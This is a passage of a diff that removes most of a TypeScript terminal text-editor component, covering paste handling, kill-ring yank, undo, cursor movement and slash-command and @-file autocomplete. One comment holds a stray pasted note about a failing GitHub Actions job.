totalChars = filteredText.length; - if (pastedLines.length > 10 || totalChars > 1000) { - // Store the paste and insert a marker - this.pasteCounter++; - const pasteId = this.pasteCounter; - this.pastes.set(pasteId, filteredText); - - // Insert marker like "[paste #1 +123 lines]" or "[paste #1 1234 chars]" - const marker = - pastedLines.length > 10 - ? `[paste #${pasteId} +${pastedLines.length} lines]` - : `[paste #${pasteId} ${totalChars} chars]`; - this.insertTextAtCursorInternal(marker); - return; - } - - if (pastedLines.length === 1) { - // Single line - insert atomically (do not trigger autocomplete during paste) - this.insertTextAtCursorInternal(filteredText); - return; - } - - // Multi-line paste - use direct state manipulation - this.insertTextAtCursorInternal(filteredText); - } - - private addNewLine(): void { - this.historyIndex = -1; // Exit history browsing mode - this.lastAction = null; - - this.pushUndoSnapshot(); - - const currentLine = this.state.lines[this.state.cursorLine] || ""; - - const before = currentLine.slice(0, this.state.cursorCol); - const after = currentLine.slice(this.state.cursorCol); - - // Split current line - this.state.lines[this.state.cursorLine] = before; - this.state.lines.splice(this.state.cursorLine + 1, 0, after); - - // Move cursor to start of new line - this.state.cursorLine++; - this.setCursorCol(0); - - this.emitChange(); - } - - private shouldSubmitOnBackslashEnter( - data: string, - kb: ReturnType, - ): boolean { - if (this.disableSubmit) return false; - if (!matchesKey(data, "enter")) return false; - const submitKeys = kb.getKeys("submit"); - const hasShiftEnter = - submitKeys.includes("shift+enter") || submitKeys.includes("shift+return"); - if (!hasShiftEnter) return false; - - const currentLine = this.state.lines[this.state.cursorLine] || ""; - return ( - this.state.cursorCol > 0 && currentLine[this.state.cursorCol - 1] === "\\" - ); - } - - private submitValue(): void { - let result = this.state.lines.join("\n").trim(); - for (const [pasteId, pasteContent] of this.pastes) { - const markerRegex = new RegExp( - `\\[paste #${pasteId}( (\\+\\d+ lines|\\d+ chars))?\\]`, - "g", - ); - result = result.replace(markerRegex, pasteContent); - } - - this.state = { lines: [""], cursorLine: 0, cursorCol: 0 }; - this.pastes.clear(); - this.pasteCounter = 0; - this.historyIndex = -1; - this.scrollOffset = 0; - this.undoStack.clear(); - this.lastAction = null; - - this.emitChange(); - if (this.onSubmit) this.onSubmit(result); - } - - private handleBackspace(): void { - this.historyIndex = -1; // Exit history browsing mode - this.lastAction = null; - - if (this.state.cursorCol > 0) { - this.pushUndoSnapshot(); - - // Delete grapheme before cursor (handles emojis, combining characters, etc.) - const line = this.state.lines[this.state.cursorLine] || ""; - const beforeCursor = line.slice(0, this.state.cursorCol); - - // Find the last grapheme in the text before cursor - const graphemes = [...segmenter.segment(beforeCursor)]; - const lastGrapheme = graphemes[graphemes.length - 1]; - const graphemeLength = lastGrapheme ? lastGrapheme.segment.length : 1; - - const before = line.slice(0, this.state.cursorCol - graphemeLength); - const after = line.slice(this.state.cursorCol); - - this.state.lines[this.state.cursorLine] = before + after; - this.setCursorCol(this.state.cursorCol - graphemeLength); - } else if (this.state.cursorLine > 0) { - this.pushUndoSnapshot(); - - // Merge with previous line - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const previousLine = this.state.lines[this.state.cursorLine - 1] || ""; - - this.state.lines[this.state.cursorLine - 1] = previousLine + currentLine; - this.state.lines.splice(this.state.cursorLine, 1); - - this.state.cursorLine--; - this.setCursorCol(previousLine.length); - } - - this.emitChange(); - - // Update or re-trigger autocomplete after backspace - if (this.autocompleteState) { - this.updateAutocomplete(); - } else { - // If autocomplete was cancelled (no matches), re-trigger if we're in a completable context - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const textBeforeCursor = currentLine.slice(0, this.state.cursorCol); - // Slash command context - if (this.isInSlashCommandContext(textBeforeCursor)) { - this.tryTriggerAutocomplete(); - } - // @ file reference context (debounced to avoid blocking event loop) - else if (textBeforeCursor.match(/(?:^|[\s])@[^\s]*$/)) { - this.debouncedTriggerAutocomplete(); - } - } - } - - /** - * Set cursor column and clear preferredVisualCol. - * Use this for all non-vertical cursor movements to reset sticky column behavior. - */ - private setCursorCol(col: number): void { - this.state.cursorCol = col; - this.preferredVisualCol = null; - } - - /** - * Move cursor to a target visual line, applying sticky column logic. - * Shared by moveCursor() and pageScroll(). - */ - private moveToVisualLine( - visualLines: Array<{ - logicalLine: number; - startCol: number; - length: number; - }>, - currentVisualLine: number, - targetVisualLine: number, - ): void { - const currentVL = visualLines[currentVisualLine]; - const targetVL = visualLines[targetVisualLine]; - - if (currentVL && targetVL) { - const currentVisualCol = this.state.cursorCol - currentVL.startCol; - - // For non-last segments, clamp to length-1 to stay within the segment - const isLastSourceSegment = - currentVisualLine === visualLines.length - 1 || - visualLines[currentVisualLine + 1]?.logicalLine !== - currentVL.logicalLine; - const sourceMaxVisualCol = isLastSourceSegment - ? currentVL.length - : Math.max(0, currentVL.length - 1); - - const isLastTargetSegment = - targetVisualLine === visualLines.length - 1 || - visualLines[targetVisualLine + 1]?.logicalLine !== targetVL.logicalLine; - const targetMaxVisualCol = isLastTargetSegment - ? targetVL.length - : Math.max(0, targetVL.length - 1); - - const moveToVisualCol = this.computeVerticalMoveColumn( - currentVisualCol, - sourceMaxVisualCol, - targetMaxVisualCol, - ); - - // Set cursor position - this.state.cursorLine = targetVL.logicalLine; - const targetCol = targetVL.startCol + moveToVisualCol; - const logicalLine = this.state.lines[targetVL.logicalLine] || ""; - this.state.cursorCol = Math.min(targetCol, logicalLine.length); - } - } - - /** - * Compute the target visual column for vertical cursor movement. - * Implements the sticky column decision table: - * - * | P | S | T | U | Scenario | Set Preferred | Move To | - * |---|---|---|---| ---------------------------------------------------- |---------------|-------------| - * | 0 | * | 0 | - | Start nav, target fits | null | current | - * | 0 | * | 1 | - | Start nav, target shorter | current | target end | - * | 1 | 0 | 0 | 0 | Clamped, target fits preferred | null | preferred | - * | 1 | 0 | 0 | 1 | Clamped, target longer but still can't fit preferred | keep | target end | - * | 1 | 0 | 1 | - | Clamped, target even shorter | keep | target end | - * | 1 | 1 | 0 | - | Rewrapped, target fits current | null | current | - * | 1 | 1 | 1 | - | Rewrapped, target shorter than current | current | target end | - * - * Where: - * - P = preferred col is set - * - S = cursor in middle of source line (not clamped to end) - * - T = target line shorter than current visual col - * - U = target line shorter than preferred col - */ - private computeVerticalMoveColumn( - currentVisualCol: number, - sourceMaxVisualCol: number, - targetMaxVisualCol: number, - ): number { - const hasPreferred = this.preferredVisualCol !== null; // P - const cursorInMiddle = currentVisualCol < sourceMaxVisualCol; // S - const targetTooShort = targetMaxVisualCol < currentVisualCol; // T - - if (!hasPreferred || cursorInMiddle) { - if (targetTooShort) { - // Cases 2 and 7 - this.preferredVisualCol = currentVisualCol; - return targetMaxVisualCol; - } - - // Cases 1 and 6 - this.preferredVisualCol = null; - return currentVisualCol; - } - - const targetCantFitPreferred = - targetMaxVisualCol < this.preferredVisualCol!; // U - if (targetTooShort || targetCantFitPreferred) { - // Cases 4 and 5 - return targetMaxVisualCol; - } - - // Case 3 - const result = this.preferredVisualCol!; - this.preferredVisualCol = null; - return result; - } - - private moveToLineStart(): void { - this.lastAction = null; - this.setCursorCol(0); - } - - private moveToLineEnd(): void { - this.lastAction = null; - const currentLine = this.state.lines[this.state.cursorLine] || ""; - this.setCursorCol(currentLine.length); - } - - private deleteToStartOfLine(): void { - this.historyIndex = -1; // Exit history browsing mode - - const currentLine = this.state.lines[this.state.cursorLine] || ""; - - if (this.state.cursorCol > 0) { - this.pushUndoSnapshot(); - - // Calculate text to be deleted and save to kill ring (backward deletion = prepend) - const deletedText = currentLine.slice(0, this.state.cursorCol); - this.killRing.push(deletedText, { - prepend: true, - accumulate: this.lastAction === "kill", - }); - this.lastAction = "kill"; - - // Delete from start of line up to cursor - this.state.lines[this.state.cursorLine] = currentLine.slice( - this.state.cursorCol, - ); - this.setCursorCol(0); - } else if (this.state.cursorLine > 0) { - this.pushUndoSnapshot(); - - // At start of line - merge with previous line, treating newline as deleted text - this.killRing.push("\n", { - prepend: true, - accumulate: this.lastAction === "kill", - }); - this.lastAction = "kill"; - - const previousLine = this.state.lines[this.state.cursorLine - 1] || ""; - this.state.lines[this.state.cursorLine - 1] = previousLine + currentLine; - this.state.lines.splice(this.state.cursorLine, 1); - this.state.cursorLine--; - this.setCursorCol(previousLine.length); - } - - this.emitChange(); - } - - private deleteToEndOfLine(): void { - this.historyIndex = -1; // Exit history browsing mode - - const currentLine = this.state.lines[this.state.cursorLine] || ""; - - if (this.state.cursorCol < currentLine.length) { - this.pushUndoSnapshot(); - - // Calculate text to be deleted and save to kill ring (forward deletion = append) - const deletedText = currentLine.slice(this.state.cursorCol); - this.killRing.push(deletedText, { - prepend: false, - accumulate: this.lastAction === "kill", - }); - this.lastAction = "kill"; - - // Delete from cursor to end of line - this.state.lines[this.state.cursorLine] = currentLine.slice( - 0, - this.state.cursorCol, - ); - } else if (this.state.cursorLine < this.state.lines.length - 1) { - this.pushUndoSnapshot(); - - // At end of line - merge with next line, treating newline as deleted text - this.killRing.push("\n", { - prepend: false, - accumulate: this.lastAction === "kill", - }); - this.lastAction = "kill"; - - const nextLine = this.state.lines[this.state.cursorLine + 1] || ""; - this.state.lines[this.state.cursorLine] = currentLine + nextLine; - this.state.lines.splice(this.state.cursorLine + 1, 1); - } - - this.emitChange(); - } - - private deleteWordBackwards(): void { - this.historyIndex = -1; // Exit history browsing mode - - const currentLine = this.state.lines[this.state.cursorLine] || ""; - - // If at start of line, behave like backspace at column 0 (merge with previous line) - if (this.state.cursorCol === 0) { - if (this.state.cursorLine > 0) { - this.pushUndoSnapshot(); - - // Treat newline as deleted text (backward deletion = prepend) - this.killRing.push("\n", { - prepend: true, - accumulate: this.lastAction === "kill", - }); - this.lastAction = "kill"; - - const previousLine = this.state.lines[this.state.cursorLine - 1] || ""; - this.state.lines[this.state.cursorLine - 1] = - previousLine + currentLine; - this.state.lines.splice(this.state.cursorLine, 1); - this.state.cursorLine--; - this.setCursorCol(previousLine.length); - } - } else { - this.pushUndoSnapshot(); - - // Save lastAction before cursor movement (moveWordBackwards resets it) - const wasKill = this.lastAction === "kill"; - - const oldCursorCol = this.state.cursorCol; - this.moveWordBackwards(); - const deleteFrom = this.state.cursorCol; - this.setCursorCol(oldCursorCol); - - const deletedText = currentLine.slice(deleteFrom, this.state.cursorCol); - this.killRing.push(deletedText, { prepend: true, accumulate: wasKill }); - this.lastAction = "kill"; - - this.state.lines[this.state.cursorLine] = - currentLine.slice(0, deleteFrom) + - currentLine.slice(this.state.cursorCol); - this.setCursorCol(deleteFrom); - } - - this.emitChange(); - } - - private deleteWordForward(): void { - this.historyIndex = -1; // Exit history browsing mode - - const currentLine = this.state.lines[this.state.cursorLine] || ""; - - // If at end of line, merge with next line (delete the newline) - if (this.state.cursorCol >= currentLine.length) { - if (this.state.cursorLine < this.state.lines.length - 1) { - this.pushUndoSnapshot(); - - // Treat newline as deleted text (forward deletion = append) - this.killRing.push("\n", { - prepend: false, - accumulate: this.lastAction === "kill", - }); - this.lastAction = "kill"; - - const nextLine = this.state.lines[this.state.cursorLine + 1] || ""; - this.state.lines[this.state.cursorLine] = currentLine + nextLine; - this.state.lines.splice(this.state.cursorLine + 1, 1); - } - } else { - this.pushUndoSnapshot(); - - // Save lastAction before cursor movement (moveWordForwards resets it) - const wasKill = this.lastAction === "kill"; - - const oldCursorCol = this.state.cursorCol; - this.moveWordForwards(); - const deleteTo = this.state.cursorCol; - this.setCursorCol(oldCursorCol); - - const deletedText = currentLine.slice(this.state.cursorCol, deleteTo); - this.killRing.push(deletedText, { prepend: false, accumulate: wasKill }); - this.lastAction = "kill"; - - this.state.lines[this.state.cursorLine] = - currentLine.slice(0, this.state.cursorCol) + - currentLine.slice(deleteTo); - } - - this.emitChange(); - } - - private handleForwardDelete(): void { - this.historyIndex = -1; // Exit history browsing mode - this.lastAction = null; - - const currentLine = this.state.lines[this.state.cursorLine] || ""; - - if (this.state.cursorCol < currentLine.length) { - this.pushUndoSnapshot(); - - // Delete grapheme at cursor position (handles emojis, combining characters, etc.) - const afterCursor = currentLine.slice(this.state.cursorCol); - - // Find the first grapheme at cursor - const graphemes = [...segmenter.segment(afterCursor)]; - const firstGrapheme = graphemes[0]; - const graphemeLength = firstGrapheme ? firstGrapheme.segment.length : 1; - - const before = currentLine.slice(0, this.state.cursorCol); - const after = currentLine.slice(this.state.cursorCol + graphemeLength); - this.state.lines[this.state.cursorLine] = before + after; - } else if (this.state.cursorLine < this.state.lines.length - 1) { - this.pushUndoSnapshot(); - - // At end of line - merge with next line - const nextLine = this.state.lines[this.state.cursorLine + 1] || ""; - this.state.lines[this.state.cursorLine] = currentLine + nextLine; - this.state.lines.splice(this.state.cursorLine + 1, 1); - } - - this.emitChange(); - - // Update or re-trigger autocomplete after forward delete - if (this.autocompleteState) { - this.updateAutocomplete(); - } else { - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const textBeforeCursor = currentLine.slice(0, this.state.cursorCol); - // Slash command context - if (this.isInSlashCommandContext(textBeforeCursor)) { - this.tryTriggerAutocomplete(); - } - // @ file reference context (debounced to avoid blocking event loop) - else if (textBeforeCursor.match(/(?:^|[\s])@[^\s]*$/)) { - this.debouncedTriggerAutocomplete(); - } - } - } - - /** - * Build a mapping from visual lines to logical positions. - * Returns an array where each element represents a visual line with: - * - logicalLine: index into this.state.lines - * - startCol: starting column in the logical line - * - length: length of this visual line segment - */ - private buildVisualLineMap(width: number): VisualLine[] { - const cached = this.visualLineMapCache; - if ( - cached && - cached.width === width && - cached.textVersion === this.textVersion - ) { - return cached.lines; - } - - const visualLines: VisualLine[] = []; - - for (let i = 0; i < this.state.lines.length; i++) { - const line = this.state.lines[i] || ""; - const lineVisWidth = visibleWidth(line); - if (line.length === 0) { - // Empty line still takes one visual line - visualLines.push({ logicalLine: i, startCol: 0, length: 0 }); - } else if (lineVisWidth <= width) { - visualLines.push({ logicalLine: i, startCol: 0, length: line.length }); - } else { - // Line needs wrapping - use word-aware wrapping - const chunks = wordWrapLine(line, width); - for (const chunk of chunks) { - visualLines.push({ - logicalLine: i, - startCol: chunk.startIndex, - length: chunk.endIndex - chunk.startIndex, - }); - } - } - } - - this.visualLineMapCache = { - width, - textVersion: this.textVersion, - lines: visualLines, - }; - return visualLines; - } - - /** - * Find the visual line index for the current cursor position. - */ - private findCurrentVisualLine( - visualLines: Array<{ - logicalLine: number; - startCol: number; - length: number; - }>, - ): number { - for (let i = 0; i < visualLines.length; i++) { - const vl = visualLines[i]; - if (!vl) continue; - if (vl.logicalLine === this.state.cursorLine) { - const colInSegment = this.state.cursorCol - vl.startCol; - // Cursor is in this segment if it's within range - // For the last segment of a logical line, cursor can be at length (end position) - const isLastSegmentOfLine = - i === visualLines.length - 1 || - visualLines[i + 1]?.logicalLine !== vl.logicalLine; - if ( - colInSegment >= 0 && - (colInSegment < vl.length || - (isLastSegmentOfLine && colInSegment <= vl.length)) - ) { - return i; - } - } - } - // Fallback: return last visual line - return visualLines.length - 1; - } - - private moveCursor(deltaLine: number, deltaCol: number): void { - this.lastAction = null; - const visualLines = this.buildVisualLineMap(this.lastWidth); - const currentVisualLine = this.findCurrentVisualLine(visualLines); - - if (deltaLine !== 0) { - const targetVisualLine = currentVisualLine + deltaLine; - - if (targetVisualLine >= 0 && targetVisualLine < visualLines.length) { - this.moveToVisualLine(visualLines, currentVisualLine, targetVisualLine); - } - } - - if (deltaCol !== 0) { - const currentLine = this.state.lines[this.state.cursorLine] || ""; - - if (deltaCol > 0) { - // Moving right - move by one grapheme (handles emojis, combining characters, etc.) - if (this.state.cursorCol < currentLine.length) { - const afterCursor = currentLine.slice(this.state.cursorCol); - const graphemes = [...segmenter.segment(afterCursor)]; - const firstGrapheme = graphemes[0]; - this.setCursorCol( - this.state.cursorCol + - (firstGrapheme ? firstGrapheme.segment.length : 1), - ); - } else if (this.state.cursorLine < this.state.lines.length - 1) { - // Wrap to start of next logical line - this.state.cursorLine++; - this.setCursorCol(0); - } else { - // At end of last line - can't move, but set preferredVisualCol for up/down navigation - const currentVL = visualLines[currentVisualLine]; - if (currentVL) { - this.preferredVisualCol = this.state.cursorCol - currentVL.startCol; - } - } - } else { - // Moving left - move by one grapheme (handles emojis, combining characters, etc.) - if (this.state.cursorCol > 0) { - const beforeCursor = currentLine.slice(0, this.state.cursorCol); - const graphemes = [...segmenter.segment(beforeCursor)]; - const lastGrapheme = graphemes[graphemes.length - 1]; - this.setCursorCol( - this.state.cursorCol - - (lastGrapheme ? lastGrapheme.segment.length : 1), - ); - } else if (this.state.cursorLine > 0) { - // Wrap to end of previous logical line - this.state.cursorLine--; - const prevLine = this.state.lines[this.state.cursorLine] || ""; - this.setCursorCol(prevLine.length); - } - } - } - } - - /** - * Scroll by a page (direction: -1 for up, 1 for down). - * Moves cursor by the page size while keeping it in bounds. - */ - private pageScroll(direction: -1 | 1): void { - this.lastAction = null; - const terminalRows = this.tui.terminal.rows; - const pageSize = Math.max(5, Math.floor(terminalRows * 0.3)); - - const visualLines = this.buildVisualLineMap(this.lastWidth); - const currentVisualLine = this.findCurrentVisualLine(visualLines); - const targetVisualLine = Math.max( - 0, - Math.min( - visualLines.length - 1, - currentVisualLine + direction * pageSize, - ), - ); - - this.moveToVisualLine(visualLines, currentVisualLine, targetVisualLine); - } - - private moveWordBackwards(): void { - this.lastAction = null; - const currentLine = this.state.lines[this.state.cursorLine] || ""; - - // If at start of line, move to end of previous line - if (this.state.cursorCol === 0) { - if (this.state.cursorLine > 0) { - this.state.cursorLine--; - const prevLine = this.state.lines[this.state.cursorLine] || ""; - this.setCursorCol(prevLine.length); - } - return; - } - - const textBeforeCursor = currentLine.slice(0, this.state.cursorCol); - const graphemes = [...segmenter.segment(textBeforeCursor)]; - let newCol = this.state.cursorCol; - - // Skip trailing whitespace - while ( - graphemes.length > 0 && - isWhitespaceChar(graphemes[graphemes.length - 1]?.segment || "") - ) { - newCol -= graphemes.pop()?.segment.length || 0; - } - - if (graphemes.length > 0) { - const lastGrapheme = graphemes[graphemes.length - 1]?.segment || ""; - if (isPunctuationChar(lastGrapheme)) { - // Skip punctuation run - while ( - graphemes.length > 0 && - isPunctuationChar(graphemes[graphemes.length - 1]?.segment || "") - ) { - newCol -= graphemes.pop()?.segment.length || 0; - } - } else { - // Skip word run - while ( - graphemes.length > 0 && - !isWhitespaceChar(graphemes[graphemes.length - 1]?.segment || "") && - !isPunctuationChar(graphemes[graphemes.length - 1]?.segment || "") - ) { - newCol -= graphemes.pop()?.segment.length || 0; - } - } - } - - this.setCursorCol(newCol); - } - - /** - * Yank (paste) the most recent kill ring entry at cursor position. - */ - private yank(): void { - if (this.killRing.length === 0) return; - - this.pushUndoSnapshot(); - - const text = this.killRing.peek()!; - this.insertYankedText(text); - - this.lastAction = "yank"; - } - - /** - * Cycle through kill ring (only works immediately after yank or yank-pop). - * Replaces the last yanked text with the previous entry in the ring. - */ - private yankPop(): void { - // Only works if we just yanked and have more than one entry - if (this.lastAction !== "yank" || this.killRing.length <= 1) return; - - this.pushUndoSnapshot(); - - // Delete the previously yanked text (still at end of ring before rotation) - this.deleteYankedText(); - - // Rotate the ring: move end to front - this.killRing.rotate(); - - // Insert the new most recent entry (now at end after rotation) - const text = this.killRing.peek()!; - this.insertYankedText(text); - - this.lastAction = "yank"; - } - - /** - * Insert text at cursor position (used by yank operations). - */ - private insertYankedText(text: string): void { - this.historyIndex = -1; // Exit history browsing mode - const lines = text.split("\n"); - - if (lines.length === 1) { - // Single line - insert at cursor - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const before = currentLine.slice(0, this.state.cursorCol); - const after = currentLine.slice(this.state.cursorCol); - this.state.lines[this.state.cursorLine] = before + text + after; - this.setCursorCol(this.state.cursorCol + text.length); - } else { - // Multi-line insert - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const before = currentLine.slice(0, this.state.cursorCol); - const after = currentLine.slice(this.state.cursorCol); - - // First line merges with text before cursor - this.state.lines[this.state.cursorLine] = before + (lines[0] || ""); - - // Insert middle lines - for (let i = 1; i < lines.length - 1; i++) { - this.state.lines.splice(this.state.cursorLine + i, 0, lines[i] || ""); - } - - // Last line merges with text after cursor - const lastLineIndex = this.state.cursorLine + lines.length - 1; - this.state.lines.splice( - lastLineIndex, - 0, - (lines[lines.length - 1] || "") + after, - ); - - // Update cursor position - this.state.cursorLine = lastLineIndex; - this.setCursorCol((lines[lines.length - 1] || "").length); - } - - this.emitChange(); - } - - /** - * Delete the previously yanked text (used by yank-pop). - * The yanked text is derived from killRing[end] since it hasn't been rotated yet. - */ - private deleteYankedText(): void { - const yankedText = this.killRing.peek(); - if (!yankedText) return; - - const yankLines = yankedText.split("\n"); - - if (yankLines.length === 1) { - // Single line - delete backward from cursor - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const deleteLen = yankedText.length; - const before = currentLine.slice(0, this.state.cursorCol - deleteLen); - const after = currentLine.slice(this.state.cursorCol); - this.state.lines[this.state.cursorLine] = before + after; - this.setCursorCol(this.state.cursorCol - deleteLen); - } else { - // Multi-line delete - cursor is at end of last yanked line - const startLine = this.state.cursorLine - (yankLines.length - 1); - const startCol = - (this.state.lines[startLine] || "").length - - (yankLines[0] || "").length; - - // Get text after cursor on current line - const afterCursor = (this.state.lines[this.state.cursorLine] || "").slice( - this.state.cursorCol, - ); - - // Get text before yank start position - const beforeYank = (this.state.lines[startLine] || "").slice(0, startCol); - - // Remove all lines from startLine to cursorLine and replace with merged line - this.state.lines.splice( - startLine, - yankLines.length, - beforeYank + afterCursor, - ); - - // Update cursor - this.state.cursorLine = startLine; - this.setCursorCol(startCol); - } - - this.emitChange(); - } - - private pushUndoSnapshot(): void { - this.undoStack.push(this.state); - } - - private undo(): void { - this.historyIndex = -1; // Exit history browsing mode - const snapshot = this.undoStack.pop(); - if (!snapshot) return; - Object.assign(this.state, snapshot); - this.lastAction = null; - this.preferredVisualCol = null; - this.emitChange(); - } - - /** - * Jump to the first occurrence of a character in the specified direction. - * Multi-line search. Case-sensitive. Skips the current cursor position. - */ - private jumpToChar(char: string, direction: "forward" | "backward"): void { - this.lastAction = null; - const isForward = direction === "forward"; - const lines = this.state.lines; - - const end = isForward ? lines.length : -1; - const step = isForward ? 1 : -1; - - for ( - let lineIdx = this.state.cursorLine; - lineIdx !== end; - lineIdx += step - ) { - const line = lines[lineIdx] || ""; - const isCurrentLine = lineIdx === this.state.cursorLine; - - // Current line: start after/before cursor; other lines: search full line - const searchFrom = isCurrentLine - ? isForward - ? this.state.cursorCol + 1 - : this.state.cursorCol - 1 - : undefined; - - const idx = isForward - ? line.indexOf(char, searchFrom) - : line.lastIndexOf(char, searchFrom); - - if (idx !== -1) { - this.state.cursorLine = lineIdx; - this.setCursorCol(idx); - return; - } - } - // No match found - cursor stays in place - } - - private moveWordForwards(): void { - this.lastAction = null; - const currentLine = this.state.lines[this.state.cursorLine] || ""; - - // If at end of line, move to start of next line - if (this.state.cursorCol >= currentLine.length) { - if (this.state.cursorLine < this.state.lines.length - 1) { - this.state.cursorLine++; - this.setCursorCol(0); - } - return; - } - - const textAfterCursor = currentLine.slice(this.state.cursorCol); - const segments = segmenter.segment(textAfterCursor); - const iterator = segments[Symbol.iterator](); - let next = iterator.next(); - let newCol = this.state.cursorCol; - - // Skip leading whitespace - while (!next.done && isWhitespaceChar(next.value.segment)) { - newCol += next.value.segment.length; - next = iterator.next(); - } - - if (!next.done) { - const firstGrapheme = next.value.segment; - if (isPunctuationChar(firstGrapheme)) { - // Skip punctuation run - while (!next.done && isPunctuationChar(next.value.segment)) { - newCol += next.value.segment.length; - next = iterator.next(); - } - } else { - // Skip word run - while ( - !next.done && - !isWhitespaceChar(next.value.segment) && - !isPunctuationChar(next.value.segment) - ) { - newCol += next.value.segment.length; - next = iterator.next(); - } - } - } - - this.setCursorCol(newCol); - } - - // Slash menu only allowed on the first line of the editor - private isSlashMenuAllowed(): boolean { - return this.state.cursorLine === 0; - } - - // Helper method to check if cursor is at start of message (for slash command detection) - private isAtStartOfMessage(): boolean { - if (!this.isSlashMenuAllowed()) return false; - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const beforeCursor = currentLine.slice(0, this.state.cursorCol); - return beforeCursor.trim() === "" || beforeCursor.trim() === "/"; - } - - private isInSlashCommandContext(textBeforeCursor: string): boolean { - return ( - this.isSlashMenuAllowed() && textBeforeCursor.trimStart().startsWith("/") - ); - } - - private shouldChainSlashArgumentAutocompleteOnTabSelection(): boolean { - if (this.autocompleteState !== "regular") { - return false; - } - - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const textBeforeCursor = currentLine.slice(0, this.state.cursorCol); - return ( - this.isInSlashCommandContext(textBeforeCursor) && - !textBeforeCursor.trimStart().includes(" ") - ); - } - - private isBareCompletedSlashCommandAtCursor(): boolean { - const currentLine = this.state.lines[this.state.cursorLine] || ""; - if (this.state.cursorCol !== currentLine.length) { - return false; - } - - const textBeforeCursor = currentLine - .slice(0, this.state.cursorCol) - .trimStart(); - return /^\/\S+ $/.test(textBeforeCursor); - } - - // Autocomplete methods - /** - * Find the best autocomplete item index for the given prefix. - * Returns -1 if no match is found. - * - * Match priority: - * 1. Exact match (prefix === item.value) -> always selected - * 2. Prefix match -> first item whose value starts with prefix - * 3. No match -> -1 (keep default highlight) - * - * Matching is case-sensitive and checks item.value only. - */ - private getBestAutocompleteMatchIndex( - items: Array<{ value: string; label: string }>, - prefix: string, - ): number { - if (!prefix) return -1; - - let firstPrefixIndex = -1; - - for (let i = 0; i < items.length; i++) { - const value = items[i]!.value; - if (value === prefix) { - return i; // Exact match always wins - } - if (firstPrefixIndex === -1 && value.startsWith(prefix)) { - firstPrefixIndex = i; - } - } - - return firstPrefixIndex; - } - - private tryTriggerAutocomplete(explicitTab: boolean = false): void { - if (!this.autocompleteProvider) return; - - // Check if we should trigger file completion on Tab - if (explicitTab) { - const provider = this - .autocompleteProvider as CombinedAutocompleteProvider; - const shouldTrigger = - !provider.shouldTriggerFileCompletion || - provider.shouldTriggerFileCompletion( - this.state.lines, - this.state.cursorLine, - this.state.cursorCol, - ); - if (!shouldTrigger) { - return; - } - } - - const suggestions = this.autocompleteProvider.getSuggestions( - this.state.lines, - this.state.cursorLine, - this.state.cursorCol, - ); - - if (suggestions && suggestions.items.length > 0) { - this.autocompletePrefix = suggestions.prefix; - this.autocompleteList = new SelectList( - suggestions.items, - this.autocompleteMaxVisible, - this.theme.selectList, - ); - - // If typed prefix exactly matches one of the suggestions, select that item - const bestMatchIndex = this.getBestAutocompleteMatchIndex( - suggestions.items, - suggestions.prefix, - ); - if (bestMatchIndex >= 0) { - this.autocompleteList.setSelectedIndex(bestMatchIndex); - } - - this.autocompleteState = "regular"; - } else { - this.cancelAutocomplete(); - } - } - - private handleTabCompletion(): void { - if (!this.autocompleteProvider) return; - - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const beforeCursor = currentLine.slice(0, this.state.cursorCol); - - // Check if we're in a slash command context - if ( - this.isInSlashCommandContext(beforeCursor) && - !beforeCursor.trimStart().includes(" ") - ) { - this.handleSlashCommandCompletion(); - } else { - this.forceFileAutocomplete(true); - } - } - - private handleSlashCommandCompletion(): void { - this.tryTriggerAutocomplete(true); - } - - /* -https://github.com/EsotericSoftware/spine-runtimes/actions/runs/19536643416/job/559322883 -17 this job fails with https://github.com/EsotericSoftware/spine-runtimes/actions/runs/19 -536643416/job/55932288317 havea look at .gi - */ - private forceFileAutocomplete(explicitTab: boolean = false): void { - if (!this.autocompleteProvider) return; - - // Check if provider supports force file suggestions via runtime check - const provider = this.autocompleteProvider as { - getForceFileSuggestions?: CombinedAutocompleteProvider["getForceFileSuggestions"]; - }; - if (typeof provider.getForceFileSuggestions !== "function") { - this.tryTriggerAutocomplete(true); - return; - } - - const suggestions = provider.getForceFileSuggestions( - this.state.lines, - this.state.cursorLine, - this.state.cursorCol, - ); - - if (suggestions && suggestions.items.length > 0) { - // If there's exactly one suggestion, apply it immediately - if (explicitTab && suggestions.items.length === 1) { - const item = suggestions.items[0]!; - this.pushUndoSnapshot(); - this.lastAction = null; - const result = this.autocompleteProvider.applyCompletion( - this.state.lines, - this.state.cursorLine, - this.state.cursorCol, - item, - suggestions.prefix, - ); - this.state.lines = result.lines; - this.state.cursorLine = result.cursorLine; - this.setCursorCol(result.cursorCol); - this.emitChange(); - return; - } - - this.autocompletePrefix = suggestions.prefix; - this.autocompleteList = new SelectList( - suggestions.items, - this.autocompleteMaxVisible, - this.theme.selectList, - ); - - // If typed prefix exactly matches one of the suggestions, select that item - const bestMatchIndex = this.getBestAutocompleteMatchIndex( - suggestions.items, - suggestions.prefix, - ); - if (bestMatchIndex >= 0) { - this.autocompleteList.setSelectedIndex(bestMatchIndex); - } - - this.autocompleteState = "force"; - } else { - this.cancelAutocomplete(); - } - } - - private cancelAutocomplete(): void { - this.autocompleteState = null; - this.autocompleteList = undefined; - this.autocompletePrefix = ""; - this.clearAutocompleteDebounce(); - } - - private clearAutocompleteDebounce(): void { - if (this.autocompleteDebounceTimer) { - clearTimeout(this.autocompleteDebounceTimer); - this.autocompleteDebounceTimer = null; - } - this.lastAutocompleteLookupPrefix = null; - } - - public dispose(): void { - this.clearAutocompleteDebounce(); - } - - public isShowingAutocomplete(): boolean { - return this.autocompleteState !== null; - } - - private updateAutocomplete(): void { - if (!this.autocompleteState || !this.autocompleteProvider) return; - - if (this.autocompleteState === "force") { - this.forceFileAutocomplete(); - return; - } - - // Check if we're in an @ file reference context — these trigger expensive - // synchronous fuzzyFind calls that block the event loop. Debounce them so - // rapid typing doesn't cascade into dozens of blocking searches. - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const textBeforeCursor = currentLine.slice(0, this.state.cursorCol); - if ( - this.autocompletePrefix.startsWith("@") || - textBeforeCursor.match(/(?:^|[\s])@[^\s]*$/) - ) { - 